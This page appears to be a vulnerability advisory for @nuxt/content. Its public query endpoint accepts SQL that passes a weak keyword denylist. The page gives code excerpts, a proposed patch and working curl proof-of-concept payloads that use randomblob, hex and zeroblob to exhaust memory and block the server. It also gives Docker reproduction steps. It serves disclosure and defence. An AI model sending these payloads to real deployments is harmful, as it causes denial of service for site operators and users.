Résumé
Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
Détails de l’avis
Summary
The POST /__nuxt_content/:collection/query endpoint in @nuxt/content accepts an attacker-controlled sql field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (assertSafeQuery). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.
Details
The vulnerability spans three source files:
Route registration — src/module.ts:207-208
The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:
// src/module.ts:207-208
addServerHandler({
route: `/__nuxt_content/${collection.name}/query`,
handler: resolver.resolve('./runtime/api/query.post'),
})
No authentication middleware is attached; the route is reachable by any client.
Source (attacker input) — src/runtime/api/query.post.ts:7-9
// src/runtime/api/query.post.ts
const { sql } = await readBody(event) // line 8 — attacker-controlled
assertSafeQuery(sql, collection) // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql) // line 18 — raw sql passed to sink
Inadequate sanitizer — src/runtime/internal/security.ts:55-63
if (where) {
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) { // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
// No rejection of function calls (randomblob, zeroblob, hex, length, …)
}
The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (randomblob, zeroblob, hex, length) are not keywords matched by the regex and therefore pass validation unconditionally.
Sink — src/runtime/internal/database.server.ts:26-28
all: async (sql, params = []) => {
return db.prepare(sql).all(...params) // executes the unmodified attacker sql
}
better-sqlite3's prepare().all() is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.
Attack chain summary:
Attacker HTTP POST (sql field)
→ query.post.ts readBody() [source]
→ assertSafeQuery() — BYPASS [insufficient validation]
→ loadDatabaseAdapter().all(sql) [propagation]
→ db.prepare(sql).all() [sink — synchronous, blocks event loop]
PoC
Environment setup
git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000
Step 1 — Establish baseline (safe query)
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s
Step 2 — Attack payload (randomblob variant)
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~2.25s (~598 MB RSS during execution)
The payload passes assertSafeQuery() because the WHERE clause contains no blocked keywords. SQLite then:
- Allocates 200 MB of random bytes via
randomblob(200000000) - Hex-encodes the result to a 400 MB ASCII string via
hex() - Computes the string length via
length()
Step 3 — Zeroblob variant (allocation-focused)
--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination
Automated PoC (Docker)
# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest
# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000
Dynamic reproduction result (phase2):
| Metric | Value |
|---|---|
| Baseline response time | 0.0088 s |
| Attack response time | 11.82 s |
| Slowdown ratio | 1339× |
| HTTP status for attack | 200 (not rejected) |
The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.
Proposed patch — src/runtime/internal/security.ts
const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) {
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
+ const tokens = noString.match(/[A-Z_]\w*/gi) || []
+ if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+ throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+ }
}
Impact
This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible @nuxt/content application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at POST /__nuxt_content/<collection>/query.
Because better-sqlite3 executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large randomblob() argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.
Impact scope:
- Confidentiality: None — the attack does not exfiltrate data
- Integrity: None — no data modification
- Availability: High — complete service disruption for unauthenticated attackers with network access
All users of publicly deployed @nuxt/content v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.
Reproduction artifacts
Dockerfile
# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
# docker build -f vuln-001/Dockerfile -t vuln001:latest .
FROM node:20-alpine
# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++
WORKDIR /app
# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts
# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/serve
Références
- https://github.com/advisories/GHSA-xxrh-5hgg-gj4h
- https://github.com/nuxt/content/security/advisories/GHSA-xxrh-5hgg-gj4h
- https://nvd.nist.gov/vuln/detail/CVE-2026-102650
- https://github.com/nuxt/content/pull/3819
- https://github.com/nuxt/content/commit/847d523a48e76d861175b325abf0de40dc5864ed
- https://github.com/nuxt/content/releases/tag/v3.15.2
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-68539
fulgur allows Unbounded string-set value accumulation causes memory/CPU exhaustion (denial of service)
- HIGHCVE-2026-119793
libp2p: gossipsub creates a permanent topics-map entry per distinct subscription with no cap in the default config
- HIGHCVE-2026-128132
AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages
- HIGHCVE-2026-128089
dnspython has excessive memory and CPU use
- MEDIUMCVE-2026-59171
JSON-java: JSONTokener Has Unbounded Numeric String Resource-Exhaustion DoS
- HIGHCVE-2026-119208
pypdf has possible long runtimes/large memory usage for encrypted PDF files